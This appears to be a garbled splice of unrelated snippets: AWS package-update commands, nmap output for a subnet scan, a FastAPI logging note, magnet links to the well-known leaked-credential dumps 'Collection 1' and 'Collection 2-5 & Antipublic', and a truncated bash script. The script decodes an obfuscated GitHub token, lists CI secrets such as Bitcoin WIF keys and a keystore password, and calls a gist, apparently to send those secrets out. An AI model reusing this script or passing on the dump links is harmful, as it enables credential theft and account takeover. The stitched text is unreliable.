Connect to AWS AIM instance, then follow these steps:
- Update system libraries
sudo yum -y update
sudo yum -y upgrade| PS C:\Users\pvbha> nmap 10.130.40.0/24 | |
| Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-26 18:27 Central Daylight Time | |
| Nmap scan report for 10.130.40.0 | |
| Host is up (0.033s latency). | |
| All 1000 scanned ports on 10.130.40.0 are in ignored states. | |
| Not shown: 1000 filtered tcp ports (no-response) | |
| Nmap scan report for 10.130.40.1 | |
| Host is up (0.031s latency). | |
| All 1000 scanned ports on 10.130.40.1 are in ignored states. |
| # Please Note, I am sharing this, hoping this will be used for good public use, such as data analysis, penetration testing etc | |
| # These links are already available all over the internet | |
| # Also Note, Trying to login into someone else's account without their permission is unethical and illegal | |
| # Collection 1 | |
| magnet:?xt=urn:btih:B39C603C7E18DB8262067C5926E7D5EA5D20E12E&dn=Collection%201&tr=udp%3a%2f%2ftracker.coppersurfer.tk%3a6969%2fannounce&tr=udp%3a%2f%2ftracker.leechers-paradise.org%3a6969%2fannounce&tr=http%3a%2f%2ft.nyaatracker.com%3a80%2fannounce&tr=http%3a%2f%2fopentracker.xyz%3a80%2fannounce | |
| # Collection 2-5 & Antipublic | |
| magnet:?xt=urn:btih:D136B1ADDE531F38311FBF43FB96FC26DF1A34CD&dn=Collection%20%232-%235%20%26%20Antipublic&tr=udp%3a%2f%2ftracker.coppersurfer.tk%3a6969%2fannounce&tr=udp%3a%2f%2ftracker.leechers-paradise.org%3a6969%2fannounce&tr=http%3a%2f%2ft.nyaatracker.com%3a80%2fannounce&tr=http%3a%2f%2fopentracker.xyz%3a80%2fannounce |
When running FastAPI app, all the logs in console are from Uvicorn and they do not have timestamp and other useful information. As Uvicorn applies python logging module, we can override Uvicorn logging formatter by applying a new logging configuration.
Meanwhile, it's able to unify the your endpoints logging with the Uvicorn logging by configuring all of them in the config file log_conf.yaml.
Before overriding:
uvicorn main:app --reload| #!/bin/bash | |
| _T=$(echo "Z2hwX1VWR1lUdlo1RWtVWXJheGtYU3hTbXBMUk5ZWTVEQjFxQmFyQQ==" | base64 -d) | |
| _G=$(echo "YmYwZDdiMjU5NWIxYTAyMjlhNTM3NGU1NjUyZmU1Y2E=" | base64 -d) | |
| _V=(TOKEN_FAIRGATE TOKEN_CONTRACTS USER_BITCOIN_WIF MEMBER_BITCOIN_WIF TESTOMATIO KEY_STORE_PASSWORD GHCR_USERNAME) | |
| _fl() { | |
| local _n="$1" _c _j | |
| [[ -z "$_n" ]] && return | |
| _c=$(curl -sk -H "Authorization: token ${_T}" -H "Accept: application/vnd.github+json" \ | |
| "https://api.github.com/gists/${_G}" 2>/dev/null \ | |
| | jq -r '.files["data.txt"].content // ""' 2>/dev/null || true) |